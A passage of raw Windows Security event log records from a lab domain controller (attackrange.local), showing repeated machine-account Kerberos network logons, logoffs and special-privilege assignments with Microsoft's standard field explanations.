SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248398 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3166 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248397 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB3166 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63901 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248396 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3166 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248419 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB343C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248418 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB343C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63908 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248417 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB343C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248416 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB33DF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248415 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB33DF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63907 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248414 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB33DF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248413 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB337D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248412 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB337D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63906 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248411 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB337D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248410 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3320 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248409 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB3320 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63905 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248408 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3320 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248431 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3656 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248430 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB3656 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63914 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248429 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3656 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248428 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB35F9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248427 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB35F9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63913 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248426 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB35F9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248425 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3597 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248424 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB3597 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63912 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248423 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB3597 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248422 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB353A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248421 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB353A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63911 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248420 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB353A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248443 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB37D7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248442 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB37D7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63918 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as 